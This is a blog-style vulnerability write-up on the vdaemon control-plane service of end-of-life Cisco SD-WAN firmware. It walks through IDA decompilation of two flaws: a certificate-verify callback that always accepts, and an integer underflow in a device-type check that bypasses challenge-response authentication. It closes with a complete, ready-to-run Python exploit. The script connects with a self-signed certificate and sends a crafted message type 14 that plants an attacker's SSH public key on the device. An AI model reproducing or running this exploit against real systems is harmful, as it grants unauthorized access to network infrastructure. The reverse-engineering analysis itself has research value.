my main site is @ evan.lat. pgp for sensitive stuff: here


cataclysm cisco something pt. 1

summary: an incomplete check + integer underflow in the challenge-response layer along with a faulty openssl verify callback when starting a control plane session allows an attacker to establish a dtls session with a self signed cert, bypass the challenge response layer, send a specific vbond pkt and write an ssh key to the box, getting ia. note that the firmware targeted is eol. have fun though

note

i kinda rushed this lol. ctrl+f “the xp” if you want the exploit

this will be a small writeup on a series of xps i found on an older version of a certain piece of firmware (im sure you can guess it by the title name now). it may be linked to a recently published cve (unsure very sure) but since its been publicly disclosed i might aswell drop it. the firmware i worked on is considered eol notably. a part 2 will be out on this covering another xp thats a bit more screwy to deal with and is notably harder to exp.

what you need to know - vdaemon

vdaemon is just a control plane service for sdwan. all it does is it mms dtls traffic between shit like vbond/vmsart/vmanage/vedge.

ida

ok so lets open vdaemon in ida, opening it in ida the first thing id do is obviously dumping all the strings and quickly doing a scrollthru on anything interesting. one thing of notice that pops out quickly is this:

clicking on it shows this:

.rodata:00000000000BD8C5 ; const char[]
.rodata:00000000000BD8C5                 db '/tmp/.ncsshd_authorized_keys/7EED85345B097525DA8C4C9CFB5C9BEE-noa'
.rodata:00000000000BD8C5                                         ; DATA XREF: sub_39D80:loc_39DD4↑o
.rodata:00000000000BD8C5                                         ; sub_39D80+382↑o ...

checking the xref:

unsigned __int64 __fastcall sub_39D80(_BYTE *a1)
{
  FILE *v1; // r14
  size_t v2; // rax
  int v3; // eax
  unsigned int v4; // ebx
  __int64 v5; // rdx
  __int64 v6; // rsi
  int *v7; // rax
  __int64 v8; // r8
  int *v9; // r14
  int *v10; // rax
  int *v11; // r15
  __int64 v12; // rdx
  __int64 v13; // rsi
  __int64 v14; // rdx
  __int64 v15; // rsi
  stat stat_buf; // [rsp+0h] [rbp-4C0h] BYREF
  char v18; // [rsp+90h] [rbp-430h] BYREF
  char v19; // [rsp+D0h] [rbp-3F0h] BYREF
  char s[784]; // [rsp+F0h] [rbp-3D0h] BYREF
  char v21[2]; // [rsp+400h] [rbp-C0h] BYREF
  char v22[2]; // [rsp+402h] [rbp-BEh] BYREF
  char v23[2]; // [rsp+404h] [rbp-BCh] BYREF
  char v24[2]; // [rsp+406h] [rbp-BAh] BYREF
  char v25[2]; // [rsp+408h] [rbp-B8h] BYREF
  char v26[2]; // [rsp+40Ah] [rbp-B6h] BYREF
  char v27[2]; // [rsp+40Ch] [rbp-B4h] BYREF
  char v28[2]; // [rsp+40Eh] [rbp-B2h] BYREF
  char v29[2]; // [rsp+410h] [rbp-B0h] BYREF
  char v30[2]; // [rsp+412h] [rbp-AEh] BYREF
  char v31[2]; // [rsp+414h] [rbp-ACh] BYREF
  char v32[2]; // [rsp+416h] [rbp-AAh] BYREF
  char v33[2]; // [rsp+418h] [rbp-A8h] BYREF
  char v34[2]; // [rsp+41Ah] [rbp-A6h] BYREF
  char v35[2]; // [rsp+41Ch] [rbp-A4h] BYREF
  char v36[18]; // [rsp+41Eh] [rbp-A2h] BYREF
  _BYTE v37[24]; // [rsp+430h] [rbp-90h] BYREF
  _BYTE v38[88]; // [rsp+448h] [rbp-78h] BYREF
  unsigned __int64 v39; // [rsp+4A0h] [rbp-20h]

  v39 = __readfsqword(0x28u);
  ++qword_376488;
  if ( a1 && *a1 )
  {
    if ( mkdir("/tmp/.ncsshd_authorized_keys", 0x1C0u) != -1 )
      goto LABEL_4;
    v7 = __errno_location();
    v8 = (unsigned int)*v7;
    if ( (_DWORD)v8 != 17 )
    {
      v12 = (unsigned __int16)vdaemon_tm_mod;
      v13 = 23;
      goto LABEL_26;
    }
    v9 = v7;
    if ( __lxstat(1, "/tmp/.ncsshd_authorized_keys", &stat_buf) == -1 )
    {
      v8 = (unsigned int)*v9;
      v12 = (unsigned __int16)vdaemon_tm_mod;
      v13 = 24;
      goto LABEL_26;
    }
    if ( stat_buf.st_uid )
    {
      v5 = (unsigned __int16)vdaemon_tm_mod;
      v6 = 25;
    }
    else if ( (stat_buf.st_mode & 0xF000) == 0x4000 )
    {
      if ( (stat_buf.st_mode & 0x1FF) == 0x1C0 )
      {
LABEL_4:
        v1 = fopen("/tmp/.ncsshd_authorized_keys/7EED85345B097525DA8C4C9CFB5C9BEE-noauthz", "wex");
        if ( v1 )
          goto LABEL_5;
        v10 = __errno_location();
        v8 = (unsigned int)*v10;
        if ( (_DWORD)v8 == 17 )
        {
          v11 = v10;
          if ( unlink("/tmp/.ncsshd_authorized_keys/7EED85345B097525DA8C4C9CFB5C9BEE-noauthz") == -1 )
          {
            v8 = (unsigned int)*v11;
            v12 = (unsigned __int16)vdaemon_tm_mod;
            v13 = 29;
          }
          else
          {
            v1 = fopen("/tmp/.ncsshd_authorized_keys/7EED85345B097525DA8C4C9CFB5C9BEE-noauthz", "wex");
            if ( v1 )
            {
LABEL_5:
              __isoc99_sscanf(a1, "%30s %768s %50s", &v19, s, &v18);
              v2 = strlen(s);
              v3 = sub_B4200(s, &s[v2]);
              if ( v3 < 0 )
              {
                v14 = (unsigned __int16)vdaemon_tm_mod;
                v15 = 32;
              }
              else
              {
                v4 = v3;
                MD5Init(v38);
                MD5Update(v38, s, v4);
                MD5Final(v37, v38);
                snprintf(v21, 3u, "%02X", v37[0]);
                snprintf(v22, 3u, "%02X", v37[1]);
                snprintf(v23, 3u, "%02X", v37[2]);
                snprintf(v24, 3u, "%02X", v37[3]);
                snprintf(v25, 3u, "%02X", v37[4]);
                snprintf(v26, 3u, "%02X", v37[5]);
                snprintf(v27, 3u, "%02X", v37[6]);
                snprintf(v28, 3u, "%02X", v37[7]);
                snprintf(v29, 3u, "%02X", v37[8]);
                snprintf(v30, 3u, "%02X", v37[9]);
                snprintf(v31, 3u, "%02X", v37[10]);
                snprintf(v32, 3u, "%02X", v37[11]);
                snprintf(v33, 3u, "%02X", v37[12]);
                snprintf(v34, 3u, "%02X", v37[13]);
                snprintf(v35, 3u, "%02X", v37[14]);
                snprintf(v36, 3u, "%02X", v37[15]);
                v36[2] = 0;
                if ( v21[0] )
                {
                  fprintf(v1, "ssh-rsa %s\n", v21);
LABEL_23:
                  fclose(v1);
                  return __readfsqword(0x28u);
                }
                v14 = (unsigned __int16)vdaemon_tm_mod;
                v15 = 31;
              }
              __BTf_0(&unk_C8668, v15, v14, 50331648);
              goto LABEL_23;
            }
            v8 = (unsigned int)*v11;
            v12 = (unsigned __int16)vdaemon_tm_mod;
            v13 = 30;
          }
        }
        else
        {
          v12 = (unsigned __int16)vdaemon_tm_mod;
          v13 = 28;
        }
LABEL_26:
        __BTf_4(&unk_C8668, v13, v12, 50331648, v8);
        return __readfsqword(0x28u);
      }
      v5 = (unsigned __int16)vdaemon_tm_mod;
      v6 = 27;
    }
    else
    {
      v5 = (unsigned __int16)vdaemon_tm_mod;
      v6 = 26;
    }
  }
  else
  {
    v5 = (unsigned __int16)vdaemon_tm_mod;
    v6 = 22;
  }
  __BTf_0(&unk_C8668, v6, v5, 50331648);
  return __readfsqword(0x28u);
}

cutting down the logic all its really doing is just writing a ssh key to /tmp/.ncsshd_authorized_keys/7EED85345B097525DA8C4C9CFB5C9BEE-noauthz:

interesting. xrefing this function itself slowly leads me to a monstrous sub_2A4D0:

clearly i wont be reversing all that. good sink we have though, reachable from message type 14, maybe we can try and target for an auth byp lol xrefing upwards, we get:

vbond_event_cb  proc near               ; DATA XREF: LOAD:0000000000007548↑o
                                         ; sub_23C90+216↓o ...

 var_1601F0      = xmmword ptr -1601F0h
 var_1601E0      = xmmword ptr -1601E0h
 len             = word ptr -1601D0h
 addr_len        = word ptr -1601CCh
 var_1601C8      = dword ptr -1601C8h
 var_1601C4      = dword ptr -1601C4h
 optlen          = word ptr -1601C0h
 optval          = byte ptr -1014C0h
 buf             = byte ptr -14C0h
 var_14B3        = byte ptr -14B3h
 var_130         = sockaddr ptr -130h
 addr            = xmmword ptr -0B0h
 var_A0          = xmmword ptr -0A0h
 var_90          = xmmword ptr -90h
 var_80          = xmmword ptr -80h
 var_70          = xmmword ptr -70h
 var_60          = xmmword ptr -60h
 var_50          = xmmword ptr -50h
 var_40          = xmmword ptr -40h
 var_30          = qword ptr -30h

 ; __unwind {
                 push    rbp
                 mov     rbp, rsp
                 push    r15
                 push    r14
                 push    r13
                 push    r12
                 push    rbx
                 sub     rsp, 1601C8h
                 mov     rax, fs:28h
                 mov     [rbp-30h], rax
                 add     cs:qword_376260, 1
                 mov     dword ptr [rbp-1601C4h], 0
                 mov     dword ptr [rbp-1601CCh], 80h
                 mov     dword ptr [rbp-1601D0h], 80h
                 test    rdx, rdx
                 jz      loc_239D5
                 mov     r13, rdx
                 mov     r15d, edi
                 mov     r14, [rdx+4B0h]
                 xorps   xmm0, xmm0
                 movaps  xmmword ptr [rbp-40h], xmm0
                 movaps  xmmword ptr [rbp-50h], xmm0
                 movaps  xmmword ptr [rbp-60h], xmm0
                 movaps  xmmword ptr [rbp-70h], xmm0
                 movaps  xmmword ptr [rbp-80h], xmm0
                 movaps  xmmword ptr [rbp-90h], xmm0
                 movaps  xmmword ptr [rbp-0A0h], xmm0
                 movaps  xmmword ptr [rbp-0B0h], xmm0
                 lea     rsi, [rbp+buf]  ; buf
                 lea     r8, [rbp+addr]  ; addr
                 lea     r9, [rbp+addr_len] ; addr_len
                 mov     edx, 1388h      ; n
                 mov     ecx, 2          ; flags
                 call    _recvfrom
                 test    eax, eax
                 jz      short loc_2363B
                 cmp     eax, 0FFFFFFFFh
                 jnz     loc_23683
                 call    ___errno_location
                 mov     ebx, [rax]
                 cmp     ebx, 5Ah ; 'Z'
                 jz      loc_237A3
                 mov     rax, cs:vdaemon_tm_mod_ptr
                 add     r14, 1Ch
                 cmp     ebx, 0Bh
                 jnz     loc_237FA
                 movzx   ebx, word ptr [rax+0Ah]
                 mov     edi, 0Bh        ; errnum
                 call    _strerror
                 sub     rsp, 8
                 mov     rdi, cs:off_2DEC68
                 mov     esi, 2Eh ; '.'

 loc_2361C:                              ; CODE XREF: vbond_event_cb+27E↓j
                 mov     edx, ebx
                 mov     ecx, 8000000h
                 mov     r8, r14
                 mov     r9d, 0Bh
                 push    rax
                 call    ___BTf_141
                 add     rsp, 10h
                 jmp     loc_239D5

at this point ida decides to kill itself. changing ida’s max analysis size my computer begins to eject pure lava at my ass. after it was done however it was ultimately a timewaste because it still just reaches the same sink prior. cool. xrefing upwards again, we finally get this:

unsigned __int64 __fastcall sub_23C90(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v4; // r14
  __int64 v5; // rax
  unsigned int v6; // r15d
  __int64 v7; // r13
  __int64 v8; // rbx
  __int64 v9; // rax
  unsigned int v10; // eax
  unsigned int v11; // r15d
  __int64 v12; // rax
  __int64 v13; // rdi
  __int64 v14; // rax
  __int64 v15; // rbx
  __int64 v16; // rax
  unsigned int v17; // r15d
  unsigned int error; // r12d
  int v19; // eax
  int v20; // r14d
  int v21; // r13d
  int v22; // ebx
  char *v23; // rax
  int v24; // ebx
  char *v25; // rax
  int v26; // r9d
  int v28; // [rsp+20h] [rbp-110h]
  int v29; // [rsp+28h] [rbp-108h]
  int v30; // [rsp+2Ch] [rbp-104h]
  int v31[4]; // [rsp+30h] [rbp-100h] BYREF
  __int64 v32; // [rsp+40h] [rbp-F0h]
  __int128 v33; // [rsp+48h] [rbp-E8h]
  unsigned __int64 v34; // [rsp+100h] [rbp-30h]

  v34 = __readfsqword(0x28u);
  ++qword_376268;
  v4 = *(_QWORD *)(a3 + 256);
  ++*(_DWORD *)(v4 + 39820);
  v5 = sub_947B0(v4, a3);
  v6 = (unsigned __int16)vdaemon_tm_mod;
  if ( v5 )
  {
    v7 = v5;
    v8 = v5 + 392;
    v9 = ipaddr_port_print(v5 + 392, v31, 200);
    __BTf_1(&unk_C7B08, 59, v6, 0x8000000, v9);
    v10 = SSL_do_handshake(*(_QWORD *)(v7 + 1016));
    if ( v10 == 1 )
    {
      v11 = (unsigned __int16)vdaemon_tm_mod;
      v12 = ipaddr_port_print(v8, v31, 200);
      __BTf_1(&unk_C7B08, 60, v11, 0x8000000, v12);
      *(_DWORD *)(v7 + 40) = *(_DWORD *)(v7 + 36);
      *(_DWORD *)(v7 + 36) = 2;
      ++*(_DWORD *)(v4 + 39828);
      timer_util_delete(*(_QWORD *)(v7 + 1184));
      *(_QWORD *)(v7 + 1184) = 0;
      __BTf_0(&unk_C7B08, 63, (unsigned __int16)vdaemon_tm_mod, 50331648);
      sub_8E050(v4, *(_QWORD *)(v7 + 1200), v7);
      v13 = *(_QWORD *)(v7 + 728);
      if ( v13
        || (__BTf_14(
              &unk_C7B08,
              64,
              (unsigned __int16)vdaemon_tm_mod,
              0x8000000,
              "expiry-timer",
              (unsigned int)(*(_DWORD *)(v4 + 1136) / 1000)),
            v13 = timer_util_create(
                    *(_QWORD *)(v4 + 38928),
                    0,
                    0,
                    *(unsigned int *)(v4 + 1136),
                    &vbond_peer_timer_exp_cb,
                    v7,
                    v4,
                    0,
                    0,
                    "expiry-timer"),
            (*(_QWORD *)(v7 + 728) = v13) != 0) )
      {
        timer_enable(v13);
        timer_enable(*(_QWORD *)(v7 + 720));
        if ( *(_QWORD *)(v7 + 1008) )
        {
          ((void (*)(void))event_free)();
          *(_QWORD *)(v7 + 1008) = 0;
        }
        v14 = event_new(*(_QWORD *)(v4 + 38664), *(unsigned int *)(v7 + 1000), 18, vbond_event_cb, v7);
        if ( v14 )

this mayl ook like complete bullshit but hang on a bit let me clear up the casts:

unsigned __int64 __fastcall sub_23C90(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v4; // r14
  __int64 v5; // rax
  unsigned int v6; // r15d
  __int64 v7; // r13
  __int64 v8; // rbx
  __int64 v9; // rax
  unsigned int v10; // eax
  unsigned int v11; // r15d
  __int64 v12; // rax
  __int64 v13; // rdi
  __int64 v14; // rax
  __int64 v15; // rbx
  __int64 v16; // rax
  unsigned int v17; // r15d
  unsigned int error; // r12d
  int v19; // eax
  int v20; // r14d
  int v21; // r13d
  int v22; // ebx
  char *v23; // rax
  int v24; // ebx
  char *v25; // rax
  int v26; // r9d
  int v28; // [rsp+20h] [rbp-110h]
  int v29; // [rsp+28h] [rbp-108h]
  int v30; // [rsp+2Ch] [rbp-104h]
  int v31[4]; // [rsp+30h] [rbp-100h] BYREF
  __int64 v32; // [rsp+40h] [rbp-F0h]
  __int128 v33; // [rsp+48h] [rbp-E8h]
  unsigned __int64 v34; // [rsp+100h] [rbp-30h]

  v34 = __readfsqword(0x28u);
  ++qword_376268;
  v4 = *(a3 + 256);
  ++*(v4 + 39820);
  v5 = sub_947B0(v4, a3);
  v6 = vdaemon_tm_mod;
  if ( v5 )
  {
    v7 = v5;
    v8 = v5 + 392;
    v9 = ipaddr_port_print(v5 + 392, v31, 200);
    __BTf_1(&unk_C7B08, 59, v6, 0x8000000, v9);
    v10 = SSL_do_handshake(*(v7 + 1016));
    if ( v10 == 1 )
    {
      v11 = vdaemon_tm_mod;
      v12 = ipaddr_port_print(v8, v31, 200);
      __BTf_1(&unk_C7B08, 60, v11, 0x8000000, v12);
      *(v7 + 40) = *(v7 + 36);
      *(v7 + 36) = 2;
      ++*(v4 + 39828);
      timer_util_delete(*(v7 + 1184));
      *(v7 + 1184) = 0;
      __BTf_0(&unk_C7B08, 63, vdaemon_tm_mod, 50331648);
      sub_8E050(v4, *(v7 + 1200), v7);
      v13 = *(v7 + 728);
      if ( v13
        || (__BTf_14(&unk_C7B08, 64, vdaemon_tm_mod, 0x8000000, "expiry-timer", (*(v4 + 1136) / 1000)),
            v13 = timer_util_create(
                    *(v4 + 38928),
                    0,
                    0,
                    *(v4 + 1136),
                    &vbond_peer_timer_exp_cb,
                    v7,
                    v4,
                    0,
                    0,
                    "expiry-timer"),
            (*(v7 + 728) = v13) != 0) )
      {
        timer_enable(v13);
        timer_enable(*(v7 + 720));
        if ( *(v7 + 1008) )
        {
          (event_free)();
          *(v7 + 1008) = 0;
        }
        v14 = event_new(*(v4 + 38664), *(v7 + 1000), 18, vbond_event_cb, v7); // reach here

obviously the thing it uses to auth you is in SSL_do_handshake. looking at the actual disassembly (not the pseudocode) we can infer that v7 (given the ssl ctx) is probably the ssl context ptr. interesting. looking at what screws with this specific v7+1016 offset. we eventually get to:

__int64 __fastcall sub_222E0(__int64 a1, __int64 a2, char a3, int a4)
{
  __int64 v5; // rax
  int v6; // eax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rdx
  __int64 v10; // rsi
  unsigned int v11; // r15d
  __int64 v12; // rax
  __int64 v14; // [rsp+20h] [rbp-40h] BYREF
  __int64 v15; // [rsp+28h] [rbp-38h]
  unsigned __int64 v16; // [rsp+30h] [rbp-30h]

  v16 = __readfsqword(0x28u);
  ++qword_376230;
  v5 = BIO_new_dgram(*(unsigned int *)(*(_QWORD *)(a1 + 1200) + 4LL * (a4 != 2) + 528), 0);
  *(_QWORD *)(a1 + 1024) = v5;
  v14 = *(unsigned __int8 *)(a2 + 279396);
  v15 = 0;
  v6 = BIO_ctrl(v5, 33, 0, &v14);
  if ( v6 < 0 )
    __BTf_14(&unk_C7B08, 18, (unsigned __int16)vdaemon_tm_mod, 50331648, "Init new connection:", (unsigned int)v6);
  BIO_ctrl(*(_QWORD *)(a1 + 1024), 102, 1, 0);
  v7 = *(_QWORD *)(a1 + 1200);
  if ( a3 == 1 )
  {
    v8 = SSL_new(*(_QWORD *)(v7 + 235160));

nice lol. obv still a complete clusterfuck of code. xrefing higher, we reach sub_AFE50. one thing of interest in here to note is SSL_CTX_set_verify, since it accepts a callback. xrefing the functions we eventually reach:

  if ( sub_AFCF0(
           "/usr/share/viptela/server.crt",
           v21,
           0,
           *(a2 + 235192),
           *(a2 + 235200),
           CIPHER_LIST,
           sub_21AB0,
           &sub_22B50,
           sub_22CB0,
           (a2 + 235160)) )
    {

which circles back to:

__int64 __fastcall sub_AFCF0(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        __int64 a7,
        __int64 a8,
        __int64 a9,
        __int64 *a10)
{
  __int64 v14; // rax
  __int64 v15; // rax
  __int64 v16; // rbx
  unsigned int v17; // r14d
  __int64 v19; // [rsp+18h] [rbp-38h]

  ++qword_377B78;
  *a10 = 0;
  v14 = DTLS_server_method();
  v15 = SSL_CTX_new(v14);
  if ( v15 )
  {
    v16 = v15;
    v19 = a6;
    v17 = 0;
    SSL_CTX_set_options(v15, 0);
    SSL_CTX_set_options(v16, 0x40000000);
    SSL_CTX_ctrl(v16, 3, 0, a4);
    SSL_CTX_ctrl(v16, 4, 0, a5);
    if ( sub_AFE50(v16, a1, a2, a3, v19, a7) )
    {
      SSL_CTX_free(v16);
      return 1;
    }
    else
    {
      SSL_CTX_ctrl(v16, 41, 1, 0);
      SSL_CTX_set_cookie_generate_cb(v16, a8);
      SSL_CTX_set_cookie_verify_cb(v16, a9);
      *a10 = v16;
    }
  }
  else
  {
    __BTf_0(&unk_CB2B4, 85, vdaemon_tm_mod, 50331648);
    return 1;
  }
  return v17;
}

following the funct ptr arg sub_21AB0 we eventually get to see this being directly passed into the ssl ctx verification function i mentioned previously. just a refresher:

typedef int (*SSL_verify_cb)(int preverify_ok, X509_STORE_CTX *x509_ctx);

void SSL_CTX_set_verify(SSL_CTX *ctx, int mode, SSL_verify_cb verify_callback)

per openssl docs:

SSL_CTX_set_verify() sets the verification flags for ctx to be mode and specifies the verify_callback function to be used. If no callback function shall be specified, the NULL pointer can be used for verify_callback. ctx MUST NOT be NULL.

SSL_set_verify() sets the verification flags for ssl to be mode and specifies the verify_callback function to be used. If no callback function shall be specified, the NULL pointer can be used for verify_callback. In this case last verify_callback set specifically for this ssl remains. 

interesting. lets see what this callback returns:

__int64 __fastcall sub_21AB0(int a1)
{
  ++qword_376200;
  if ( !a1 )
    __BTf_0(&unk_C7B08, 8, word_2EEA38, 0x8000000);
  return 1;
}

see the issue pal

the issue (#1)

obviously the problem here is that this callback wilk always return 1 no matter what. so even if you pass in an invalid cert youll get around this. woops

this is weird because if we check another callback they use:

__int64 __fastcall sub_47AC0(int a1, __int64 a2)
{
  unsigned int v3; // r15d
  int error; // eax
  __int64 v5; // rax

  ++qword_3768F8;
  if ( a1 )
  {
    __BTf_0(&unk_C8B00, 75, vdaemon_tm_mod, 50331648);
    return 1;
  }
  else
  {
    __BTf_0(&unk_C8B00, 73, vdaemon_tm_mod, 50331648);
    v3 = vdaemon_tm_mod;
    error = X509_STORE_CTX_get_error(a2);
    v5 = X509_verify_cert_error_string(error);
    __BTf_1(&unk_C8B00, 74, v3, 50331648, v5);
    return 0;
  }
}

this properly returns stuff accordingly. so clearly this is one bug we can probably use lovl. looking at how they use SSL_CTX_set_verify:

loc_AFA3C:
mov     rdi, r12
mov     esi, 5
mov     rdx, [rbp-2048h]
call    _SSL_CTX_set_verify

it sets esi to 5. in openssl this means that they used SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT. this basically just means that they require a peer cert and vcalidate it. so clearly this was an oversight on their behalf.

the issue (#2)

now we have to get around the second layer of auth. by default after a conncetion is established we’ll be immediately nuked off by a challenge response protocol in vdaemon. essentially, after we got around the first layer the server will now give us a CHALLENGE of message type 8, where they send us a cryptographic challenge. we respond with a CHALLENGE_ACK to prove we are who we say we are. once done, the server will set us as authenticated and let us do whatever. the auth gate when tracing above is found at:

; 0x2C298
.text:000000000002A5AF                 mov     eax, [r12+4]
.text:000000000002A5B4                 mov     rsi, r12
.text:000000000002A5B7                 jnz     short loc_2A5D0
.text:000000000002A5B9                 cmp     eax, 9
.text:000000000002A5BC                 ja      loc_2A6C0
.text:000000000002A5C2                 mov     ecx, 321h
.text:000000000002A5C7                 bt      ecx, eax
.text:000000000002A5CA                 jnb     loc_2A6C0

again my ida died so we have to do some guesswork. unfortunately it seemewd that we are stuck here because our desired message type (14) is restricted from this authgate. obviously we arent crypto gods so hopefully there will be some sort of logic vuln we can find. going back, we find:

 loc_2BE07:                              ; CODE XREF: sub_2A4D0+191A↑j
.text:000000000002BE07                 cmp     dword ptr [rbx+8], 1 ; check device type
.text:000000000002BE0B                 mov     rcx, cs:vdaemon_tm_mod_ptr
.text:000000000002BE12                 movzx   edx, word ptr [rcx]
.text:000000000002BE15                 jnz     loc_2C298
.text:000000000002BE1B                 mov     rdi, cs:off_2DED88
.text:000000000002BE22                 mov     esi, 84h
.text:000000000002BE27                 jmp     loc_2ACE7

interestingly, it only checks whether or not our device type is 1. if it is 1 itll go to 0x2ACE7 which is basically unbypassable (for me). however obviously theres more device types than just 1. doing a bit of digging it turns out theres a valid device type 2 (vhub) that completely ignores this. after the cmp fails itll just jnz to loc_2C298, where completely by serendipity, when it starts doing a range check on our device type:

2f9f7  mov     eax, [rax+8]       
2fa01  add     eax, 0FFFFFFFDh     ; horrible math 
2fa04  cmp     eax, 2
2fa07  ja      loc_33055         

in the second line it subtracts by 3. this causes an integer underflow as it is unsigned, making the next cmp with 2 larger. this lets us jump to loc_33055, which just falls to auth success. cool

where it eventually jumps to the success branch at 0x3305C:

.text:0000000000033055 loc_33055:                              ; CODE XREF: sub_2A4D0+482E↑j
.text:0000000000033055                                         ; sub_2A4D0+5537↑j ...
.text:0000000000033055                 mov     rax, [rbp+var_53D80_1]
.text:000000000003305C                 mov     byte ptr [rax+36h], 1
.text:0000000000033060                 xor     ebx, ebx
.text:0000000000033062                 jmp     loc_2AA08

so now theres a way to get around the second layer aswell. nice

so now what

so now our plan is to:

wtf is a vbond msg

now lets figure out what the structure of a vbond message looks like. doing a bit of guesswork we eventually hit sub_7D8B0:

manee wtf is goig on

after searching up examples of vbond messages and code on github, we can confirm some offsets. we can build a quick little function to create a vbond msg of type 14:

  def buildbuilder(body):
      hdr = bytearray(16)
      hdr[0] = (0x01 << 4) | (14 & 0x0F)  
      hdr[1] = 0x50                               
      hdr[12:16] = p32(16 + len(body), endian="big")
      return bytes(hdr) + body

  def sshkeybuilder(pubkey_line):
      key_bytes = pubkey_line.encode("utf-8")
      if not key_bytes.endswith(b"\n"):
          key_bytes += b"\n"
      body = bytearray(769) # 769 bytes min
      body[0:len(key_bytes)] = key_bytes 
      return buildbuilder(bytes(body))

so now here:

the xp

import ssl
import socket
import struct
import sys
import os
import tempfile
import time

PORT = 12346

def pi(h, n, t):
    return struct.pack_into(">I", h, n, t)

def build(msg_class, payload, domain=1, site=1):
    hdr = bytearray(12)
    hdr[0] = (1 << 4) | (msg_class & 0xF)
    hdr[1] = (4 & 0xF) << 4
    hdr[2] = 0xA0
    pi(hdr, 4, domain)
    pi(hdr, 8, site)
    return bytes(hdr) + payload

def certgen(cert_path, key_path):
    # idgaf
    return os.system(
        f'openssl req -x509 -newkey rsa:2048 -keyout "{key_path}" '
        f'-out "{cert_path}" -days 365 -nodes -subj "/CN=viptela" 2>/dev/null'
    ) == 0

def conntls(host, cert, key):
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(certfile=cert, keyfile=key)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((host, PORT))
    return ctx.wrap_socket(sock, server_hostname=host)

def clap(host, pubkey):
    tmpdir = tempfile.mkdtemp()
    cert = os.path.join(tmpdir, "c.pem")
    key = os.path.join(tmpdir, "k.pem")

    try:
        if not certgen(cert, key):
            return False

        print("+ connecting")
        s = conntls(host, cert, key)
        print("+ tls conn")
        s.send(build(9, b"\x00\x00\x00"))
        print("+ sent ack")
        key_bytes = pubkey.encode() if isinstance(pubkey, str) else pubkey
        if not key_bytes.endswith(b"\n"):
            key_bytes += b"\n"
        payload = bytearray(769)
        payload[:len(key_bytes)] = key_bytes
        s.send(build(14, bytes(payload)))
        print("+ sent ssh key")
        time.sleep(1)
        s.close()
        return True
    except:
        pass
    finally:
        for f in [cert, key]:
            try: os.unlink(f)
            except: pass
        try: os.rmdir(tmpdir)
        except: pass


if len(sys.argv) < 3:
    sys.exit(1)

host = sys.argv[1]
# with open(sys.argv[2], "r") as f:
pubkey = open(sys.argv[2]).read().strip()
print(f"+ key: {pubkey[:10]}")

if clap(host, pubkey):
    print("+ done. ssh buddy")
else:
    print("dumbass")
    sys.exit(1)